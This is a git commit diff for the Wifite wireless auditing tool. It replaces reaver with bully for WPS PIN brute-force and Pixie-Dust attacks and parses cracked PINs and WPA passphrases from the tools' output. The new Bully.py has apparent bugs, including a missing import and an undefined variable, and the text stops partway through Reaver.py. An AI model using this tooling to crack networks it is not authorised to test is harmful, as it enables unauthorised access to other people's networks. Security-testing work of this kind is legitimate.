Use bully instead of reaver.

Detailed WPS output.

TODO:
* Actually test that cracked PINs are detected & saved, pending #28
* Command-line options to specify max lockout/timeout/noassoc/failure
This commit is contained in:
derv82
2017-05-17 23:19:49 -04:00
parent c19332c25c
commit c4773c6d1a
8 changed files with 671 additions and 412 deletions

View File

@@ -105,6 +105,15 @@ class Wifite(object):
result = attack.run() result = attack.run()
except Exception, e: except Exception, e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e)) Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or True:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt: except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n') Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining, 1): if not self.user_wants_to_continue(targets_remaining, 1):
@@ -128,6 +137,15 @@ class Wifite(object):
attack.run() attack.run()
except Exception, e: except Exception, e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e)) Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or True:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt: except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n') Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining): if not self.user_wants_to_continue(targets_remaining):

View File

@@ -125,7 +125,7 @@ class Airodump(object):
if fil.endswith('.xor'): if fil.endswith('.xor'):
os.remove(fil) os.remove(fil)
def get_targets(self): def get_targets(self, apply_filter=True):
''' Parses airodump's CSV file, returns list of Targets ''' ''' Parses airodump's CSV file, returns list of Targets '''
# Find the .CSV file # Find the .CSV file
csv_filename = None csv_filename = None
@@ -145,7 +145,8 @@ class Airodump(object):
capfile = csv_filename[:-3] + 'cap' capfile = csv_filename[:-3] + 'cap'
Wash.check_for_wps_and_update_targets(capfile, targets) Wash.check_for_wps_and_update_targets(capfile, targets)
# Filter targets based on encryption if apply_filter:
# Filter targets based on encryption & WPS capability
targets = Airodump.filter_targets(targets, skip_wash=self.skip_wash) targets = Airodump.filter_targets(targets, skip_wash=self.skip_wash)
# Sort by power # Sort by power
@@ -245,10 +246,9 @@ class Airodump(object):
while i < len(result): while i < len(result):
if bssid and result[i].bssid.lower() != bssid.lower(): if bssid and result[i].bssid.lower() != bssid.lower():
result.pop(i) result.pop(i)
continue elif essid and result[i].essid and result[i].essid.lower() != essid.lower():
if essid and result[i].essid.lower() != essid.lower():
result.pop(i) result.pop(i)
continue else:
i += 1 i += 1
return result return result

View File

@@ -21,7 +21,7 @@ class Attack(object):
Waits for target to appear in airodump Waits for target to appear in airodump
''' '''
start_time = time.time() start_time = time.time()
targets = airodump.get_targets() targets = airodump.get_targets(apply_filter=False)
while len(targets) == 0: while len(targets) == 0:
# Wait for target to appear in airodump. # Wait for target to appear in airodump.
if int(time.time() - start_time) > Attack.target_wait: if int(time.time() - start_time) > Attack.target_wait:
@@ -45,6 +45,3 @@ class Attack(object):
return airodump_target return airodump_target
if __name__ == '__main__':
pass

View File

@@ -7,10 +7,7 @@ from Color import Color
from Configuration import Configuration from Configuration import Configuration
from CrackResultWPS import CrackResultWPS from CrackResultWPS import CrackResultWPS
from Process import Process from Process import Process
from Bully import Bully
import os
import time
import re
class AttackWPS(Attack): class AttackWPS(Attack):
def __init__(self, target): def __init__(self, target):
@@ -27,400 +24,15 @@ class AttackWPS(Attack):
return self.success return self.success
# Run Pixie-Dust attack # Run Pixie-Dust attack
if self.is_pixiedust_supported(): bully = Bully(self.target, pixie=True)
if self.run_pixiedust_attack(): if bully.crack_result is not None:
# Pixie-Dust attack succeeded. We're done. # Pixie-Dust attack succeeded. We're done.
self.success = True self.crack_result = bully.crack_result
return self.success elif Configuration.pixie_only:
else:
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
if Configuration.pixie_only:
Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}') Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
self.success = False
else: else:
# Run WPS-PIN attack # Run WPS-PIN attack
self.success = self.run_wps_pin_attack() bully = Bully(self.target, pixie=False)
return self.success self.crack_result = bully.crack_result
return self.crack_result is not None
def is_pixiedust_supported(self):
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
output = Process(['reaver', '-h']).stderr()
return '--pixie-dust' in output
def run_pixiedust_attack(self):
# Write reaver stdout to file.
self.stdout_file = Configuration.temp('reaver.out')
if os.path.exists(self.stdout_file):
os.remove(self.stdout_file)
command = [
'reaver',
'--interface', Configuration.interface,
'--bssid', self.target.bssid,
'--channel', self.target.channel,
'--pixie-dust', '1', # pixie-dust attack
#'--delay', '0',
#'--no-nacks',
'--session', '/dev/null', # Don't restart session
'-vv' # (very) verbose
]
stdout_write = open(self.stdout_file, 'a')
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
pin = None
step = 'initializing'
time_since_last_step = 0
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wash=True,
output_file_prefix='pixie') as airodump:
Color.clear_line()
Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
while True:
try:
airodump_target = self.wait_for_target(airodump)
except Exception as e:
Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
Color.pl("")
return False
stdout_write.flush()
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if (pin and psk and ssid) or reaver.poll() != None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin and psk and ssid:
# We cracked it.
bssid = self.target.bssid
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
return False
if 'WPS pin not found' in stdout:
Color.pl('{R}failed: {O}WPS pin not found{W}')
break
last_step = step
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon'
elif 'Associated with' in stdout_last_line:
step = '({C}step 2/8{W}) waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '({C}step 3/8{W}) waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '({C}step 4/8{W}) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '({C}step 5/8{W}) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '({C}step 6/8{W}) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
if Configuration.wps_skip_rate_limit:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
step = '({C}step -/8{W}) waiting for AP rate limit'
if step != last_step:
# Step changed, reset step timer
time_since_last_step = 0
else:
time_since_last_step += 1
if time_since_last_step > Configuration.wps_pixie_step_timeout:
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
break
# TODO: Timeout check
if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
break
# Reaver Failure/Timeout check
fail_count = stdout.count('WPS transaction failed')
if fail_count > Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
break
timeout_count = stdout.count('Receive timeout occurred')
if timeout_count > Configuration.wps_timeout_threshold:
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
break
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
time.sleep(1)
continue
# Attack failed, already printed reason why
reaver.interrupt()
stdout_write.close()
return False
def run_wps_pin_attack(self):
# Write reaver stdout to file.
self.stdout_file = Configuration.temp('reaver.out')
if os.path.exists(self.stdout_file):
os.remove(self.stdout_file)
stdout_write = open(self.stdout_file, 'a')
# Start reaver process
command = [
'reaver',
'--interface', Configuration.interface,
'--bssid', self.target.bssid,
'--channel', self.target.channel,
'--session', '/dev/null', # Don't restart session
'-vv' # verbose
]
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
self.success = False
pins = set()
pin_current = 0
pin_total = 11000
failures = 0
state = 'initializing'
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wash=True,
output_file_prefix='wps') as airodump:
Color.clear_line()
Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...")
while True:
try:
airodump_target = self.wait_for_target(airodump)
except Exception as e:
Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e)
Color.pl("")
return False
time.sleep(1)
percent = 100 * float(pin_current) / float(pin_total)
Color.clear_line()
status = '{G}%.2f%% done{W}, ' % percent
status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold)
Color.pattack("WPS", airodump_target, "PIN Attack", status)
if failures >= Configuration.wps_fail_threshold:
Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}')
Color.pl("")
break
# Get output
out = self.get_stdout()
# Clear output file
f = open(self.stdout_file, 'w')
f.write('')
f.close()
# CHECK FOR CRACK
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
if pin and psk and ssid:
# We cracked it.
self.success = True
Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
self.crack_result.dump()
break
# PIN PROGRESS
# Reaver 1.5.*
match = None
for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
# Look at last entry for "Pin count advanced" to get latest pin count
pass
if match:
# Reset failures on successful try
failures = 0
groups = match.groups()
pin_current = int(groups[0])
pin_total = int(groups[1])
# Reaver 1.3, 1.4
match = None
for match in re.finditer('Trying pin (\d+)', out):
if match:
pin = int(match.groups()[0])
if pin not in pins:
# Reset failures on successful try
failures = 0
pins.add(pin)
pin_current += 1
# Failures
if 'WPS transaction failed' in out:
failures += out.count('WPS transaction failed')
elif 'Receive timeout occurred' in out:
# Reaver 1.4
failures += out.count('Receive timeout occurred')
# Status
if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}'
if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
# Reaver 1.4
if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'
if 'Detected AP rate limiting' in out:
state = '{R}rate-limited{W}'
if Configuration.wps_skip_rate_limit:
Color.pl(state)
Color.pl('{!} {R}hit rate limit, stopping{W}')
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
if 'WARNING: Failed to associate with' in out:
# TODO: Fail after X association failures (instead of just one)
Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}')
break
match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out)
if match:
eta = match.groups()[0]
state = '{C}cracking, ETA: {G}%s{W}' % eta
match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out)
if match:
eta = match.groups()[0]
state = '{C}cracking, ETA: {G}%s{W}' % eta
pins_left = int(match.groups()[1])
# Divine pin_current & pin_total from this:
pin_current = 11000 - pins_left
# Check if process is still running
if reaver.pid.poll() != None:
Color.pl('{R}failed{W}')
Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
self.success = False
break
# Output the current state
Color.p(state)
'''
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF
[+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Pin count advanced: 46. Max pin attempts: 11000
[!] WPS transaction failed (code: 0x02), re-trying last pin
[!] WPS transaction failed (code: 0x03), re-trying last pin
[!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: 25 successive start failures
[!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
[+] 0.55% complete. Elapsed time: 0d0h2m21s.
[+] Estimated Remaining time: 0d15h11m35s
[+] Pin cracked in 7 seconds
[+] WPS PIN: '12345678'
[+] WPA PSK: 'abcdefgh'
[+] AP SSID: 'Test Router'
Reaver 1.4:
[+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
[!] WARNING: Receive timeout occurred
'''
reaver.interrupt()
return self.success
@staticmethod
def get_pin_psk_ssid(stdout):
''' Parses WPS PIN, PSK, and SSID from output '''
pin = psk = ssid = None
# Check for PIN.
# PIN: Printed *before* the attack completes.
regex = re.search('WPS pin: *([0-9]*)', stdout)
if regex:
pin = regex.groups()[0]
# PIN: Printed when attack is completed.
regex = re.search("WPS PIN: *'([0-9]+)'", stdout)
if regex:
pin = regex.groups()[0]
# Check for PSK.
regex = re.search("WPA PSK: *'(.+)'", stdout)
if regex:
psk = regex.groups()[0]
# Check for SSID
regex = re.search("AP SSID: *'(.+)'", stdout)
if regex:
ssid = regex.groups()[0]
return (pin, psk, ssid)
def get_stdout(self):
''' Gets output from stdout_file '''
if not self.stdout_file:
return ''
f = open(self.stdout_file, 'r')
stdout = f.read()
f.close()
return stdout.strip()
if __name__ == '__main__':
stdout = '''
[Pixie-Dust]
[Pixie-Dust] Pixiewps 1.1
[Pixie-Dust]
[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [+] WPS pin: 12345678
[Pixie-Dust]
[Pixie-Dust] [*] Time taken: 0 s
[Pixie-Dust]
Running reaver with the correct pin, wait ...
Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF
[Reaver Test] Channel: 11
[Reaver Test] [+] WPS PIN: '12345678'
[Reaver Test] [+] WPA PSK: 'Test PSK'
[Reaver Test] [+] AP SSID: 'Test Router'
'''
print AttackWPS.get_pin_psk_ssid(stdout)
pass

207
py/Bully.py Normal file
View File

@@ -0,0 +1,207 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from Attack import Attack
from Airodump import Airodump
from Color import Color
from Timer import Timer
from Process import Process
from Configuration import Configuration
import os, time, re
from threading import Thread
class Bully(Attack):
def __init__(self, target, pixie=False):
super(Bully, self).__init__(target)
self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
self.pins_attempted = 0
self.state = "{O}Waiting for beacon{W}"
self.m_state = None
self.start_time = time.time()
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
self.crack_result = None
self.target = target
self.pixie = pixie
self.cmd = [
"stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292
"bully",
"--bssid", target.bssid,
"--channel", target.channel,
"--detectlock", # Detect WPS lockouts unreported by AP
"--force",
"-v", "4"
]
#self.cmd.extend(["-p", "80246212", "--force", "--bruteforce"])
if self.pixie:
self.cmd.append("--pixiewps")
self.cmd.append(Configuration.interface)
self.bully_proc = None
self.run()
self.stop()
def attack_type(self):
return "Pixie-Dust" if self.pixie else "PIN Attack"
def run(self):
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wash=True,
output_file_prefix='wps_pin') as airodump:
# Wait for target
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"Waiting for target to appear...")
self.target = self.wait_for_target(airodump)
# Start bully
self.bully_proc = Process(self.cmd,
stderr=Process.devnull(),
bufsize=0,
cwd=Configuration.temp())
t = Thread(target=self.parse_line_thread)
t.daemon = True
t.start()
try:
while self.bully_proc.poll() is None:
try:
self.target = self.wait_for_target(airodump)
except Exception as e:
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"{R}failed: {O}%s{W}" % e)
Color.pl("")
self.stop()
break
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
self.get_status())
time.sleep(0.5)
except KeyboardInterrupt as e:
self.stop()
raise e
except Exception as e:
self.stop()
raise e
if self.crack_result is None:
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"{R}Failed{W}\n")
def running_time(self):
return int(time.time() - self.start_time)
def get_status(self):
result = self.state
result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
result += " {G}tries:%d{W}" % self.pins_attempted
result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc)
result += " {R}lockouts:%d{W}" % self.consecutive_lockouts
result += ")"
return result
def parse_line_thread(self):
for line in iter(self.bully_proc.pid.stdout.readline, b""):
if line == "": continue
line = line.replace("\r", "").replace("\n", "").strip()
if self.parse_line(line): break # Cracked
def parse_line(self, line):
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
got_beacon = re.compile(r".*Got beacon for '(.*)' \((.*)\)").match(line)
if got_beacon:
# group(1)=ESSID, group(2)=BSSID
self.state = "Got beacon"
# [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.compile(r".*Last State = '(.*)'\s*Next pin '(.*)'").match(line)
if last_state:
# group(1)=result, group(2)=PIN
result = "Start" # last_state.group(1)
pin = last_state.group(2)
self.state = "Trying PIN:{C}%s{W}" % pin
# [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505'
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
rx_m = re.compile(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'").match(line)
if rx_m:
# group(1)=M3/M5, group(2)=result, group(3)=PIN
self.m_state = rx_m.group(1)
result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
if result in ["Pin1Bad", "Pin2Bad"]:
self.pins_attempted += 1
self.consecutive_lockouts = 0 # Reset lockout count
self.consecutive_timeouts = 0 # Reset timeout count
self.consecutive_noassoc = 0 # Reset timeout count
result = "{G}%s{W}" % result
elif result == "Timeout":
self.consecutive_timeouts += 1
result = "{O}%s{W}" % result
elif result == "NoAssoc":
self.consecutive_noassoc += 1
result = "{O}%s{W}" % result
else:
result = "{R}%s{W}" % result
pin = rx_m.group(3)
self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)
# [!] WPS lockout reported, sleeping for 43 seconds ...
lock_out = re.compile(r".*WPS lockout reported, sleeping for (\d+) seconds").match(line)
if lock_out:
sleeping = lock_out.group(1)
self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
self.consecutive_lockouts += 1
# [Pixie-Dust] WPS pin not found
pixie_re = re.compile(r".*\[Pixie-Dust\] WPS pin not found").match(line)
if pixie_re:
self.state = "{R}Failed{W}"
# [*] Pin is '80246213', key is 'password'
pin_key_re = re.compile(r"^\s*Pin is '(\d*)', key is '(.*)'\s*$").match(line)
if pin_key_re:
self.cracked_pin = pin_key_re.group(1)
self.cracked_key = pin_key_re.group(2)
# PIN : '80246213'
pin_re = re.compile(r"^\s*PIN\s*:\s*'(.*)'\s*$").match(line)
if pin_re: self.cracked_pin = pin_re.group(1)
# KEY : 'password'
key_re = re.compile(r"^\s*KEY\s*:\s*'(.*)'\s*$").match(line)
if key_re: self.cracked_key = key_re.group(1)
#warn_re = re.compile(r"\[\!\]\s*(.*)$").match(line)
#if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)
if not self.crack_result and self.cracked_pin and self.cracked_key:
Color.clear_entire_line()
Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
self.crack_result = CrackResultWPS(
airodump_target.essid,
airodump_target.bssid,
self.cracked_pin,
self.cracked_key)
return True
else:
return False
def stop(self):
if hasattr(self, "pid") and self.pid and self.pid.poll() == None:
self.pid.interrupt()
def __del__(self):
self.stop()

View File

@@ -22,8 +22,8 @@ class Client(object):
6 Probed ESSIDs 6 Probed ESSIDs
''' '''
self.station = fields[0].strip() self.station = fields[0].strip()
self.power = int(fields[3].strip()) self.power = int(fields[3].strip()) if fields[3].strip().isdigit() else 0
self.packets = int(fields[4].strip()) self.packets = int(fields[4].strip()) if fields[4].strip().isdigit() else 0
self.bssid = fields[5].strip() self.bssid = fields[5].strip()

View File

@@ -55,7 +55,7 @@ class Process(object):
return True return True
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None): def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0):
''' Starts executing command ''' ''' Starts executing command '''
if type(command) == str: if type(command) == str:
@@ -78,7 +78,7 @@ class Process(object):
self.start_time = time.time() self.start_time = time.time()
self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd) self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd, bufsize=bufsize)
def __del__(self): def __del__(self):
''' '''

425
py/Reaver.py Normal file
View File

@@ -0,0 +1,425 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from Attack import Attack
from Airodump import Airodump
from Color import Color
from Configuration import Configuration
from CrackResultWPS import CrackResultWPS
from Process import Process
import os, time, re
class Reaver(Attack):
def __init__(self, target):
super(Reaver, self).__init__(target)
self.success = False
self.crack_result = None
def run(self):
''' Run all WPS-related attacks '''
# Drop out if user specified to not use Reaver
if Configuration.no_reaver:
self.success = False
return self.success
# Run Pixie-Dust attack
if self.is_pixiedust_supported():
if self.run_pixiedust_attack():
# Pixie-Dust attack succeeded. We're done.
self.success = True
return self.success
else:
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
if Configuration.pixie_only:
Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
self.success = False
else:
# Run WPS-PIN attack
self.success = self.run_wps_pin_attack()
return self.success
def is_pixiedust_supported(self):
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
output = Process(['reaver', '-h']).stderr()
return '--pixie-dust' in output
def run_pixiedust_attack(self):
# Write reaver stdout to file.
self.stdout_file = Configuration.temp('reaver.out')
if os.path.exists(self.stdout_file):
os.remove(self.stdout_file)
command = [
'reaver',
'--interface', Configuration.interface,
'--bssid', self.target.bssid,
'--channel', self.target.channel,
'--pixie-dust', '1', # pixie-dust attack
#'--delay', '0',
#'--no-nacks',
'--session', '/dev/null', # Don't restart session
'-vv' # (very) verbose
]
stdout_write = open(self.stdout_file, 'a')
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
pin = None
step = 'initializing'
time_since_last_step = 0
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wash=True,
output_file_prefix='pixie') as airodump:
Color.clear_line()
Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
while True:
try:
airodump_target = self.wait_for_target(airodump)
except Exception as e:
Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
Color.pl("")
return False
stdout_write.flush()
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if (pin and psk and ssid) or reaver.poll() != None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin and psk and ssid:
# We cracked it.
bssid = self.target.bssid
Color.clear_entire_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
return False
if 'WPS pin not found' in stdout:
Color.pl('{R}failed: {O}WPS pin not found{W}')
break
last_step = step
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon'
elif 'Associated with' in stdout_last_line:
step = '({C}step 2/8{W}) waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '({C}step 3/8{W}) waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '({C}step 4/8{W}) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '({C}step 5/8{W}) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '({C}step 6/8{W}) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
if Configuration.wps_skip_rate_limit:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
step = '({C}step -/8{W}) waiting for AP rate limit'
if step != last_step:
# Step changed, reset step timer
time_since_last_step = 0
else:
time_since_last_step += 1
if time_since_last_step > Configuration.wps_pixie_step_timeout:
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
break
# TODO: Timeout check
if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
break
# Reaver Failure/Timeout check
fail_count = stdout.count('WPS transaction failed')
if fail_count > Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
break
timeout_count = stdout.count('Receive timeout occurred')
if timeout_count > Configuration.wps_timeout_threshold:
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
break
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
time.sleep(1)
continue
# Attack failed, already printed reason why
reaver.interrupt()
stdout_write.close()
return False
def run_wps_pin_attack(self):
# Write reaver stdout to file.
self.stdout_file = Configuration.temp('reaver.out')
if os.path.exists(self.stdout_file):
os.remove(self.stdout_file)
stdout_write = open(self.stdout_file, 'a')
# Start reaver process
command = [
'reaver',
'--interface', Configuration.interface,
'--bssid', self.target.bssid,
'--channel', self.target.channel,
'--session', '/dev/null', # Don't restart session
'-vv' # verbose
]
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
self.success = False
pins = set()
pin_current = 0
pin_total = 11000
failures = 0
state = 'initializing'
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wash=True,
output_file_prefix='wps') as airodump:
Color.clear_line()
Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...")
while True:
try:
airodump_target = self.wait_for_target(airodump)
except Exception as e:
Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e)
Color.pl("")
return False
time.sleep(1)
percent = 100 * float(pin_current) / float(pin_total)
Color.clear_line()
status = '{G}%.2f%% done{W}, ' % percent
status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold)
Color.pattack("WPS", airodump_target, "PIN Attack", status)
if failures >= Configuration.wps_fail_threshold:
Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}')
Color.pl("")
break
# Get output
out = self.get_stdout()
# Clear output file
f = open(self.stdout_file, 'w')
f.write('')
f.close()
# CHECK FOR CRACK
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(out)
if pin and psk and ssid:
# We cracked it.
self.success = True
Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
self.crack_result.dump()
break
# PIN PROGRESS
# Reaver 1.5.*
match = None
for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
# Look at last entry for "Pin count advanced" to get latest pin count
pass
if match:
# Reset failures on successful try
failures = 0
groups = match.groups()
pin_current = int(groups[0])
pin_total = int(groups[1])
# Reaver 1.3, 1.4
match = None
for match in re.finditer('Trying pin (\d+)', out):
if match:
pin = int(match.groups()[0])
if pin not in pins:
# Reset failures on successful try
failures = 0
pins.add(pin)
pin_current += 1
# Failures
if 'WPS transaction failed' in out:
failures += out.count('WPS transaction failed')
elif 'Receive timeout occurred' in out:
# Reaver 1.4
failures += out.count('Receive timeout occurred')
# Status
if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}'
if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
# Reaver 1.4
if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'
if 'Detected AP rate limiting' in out:
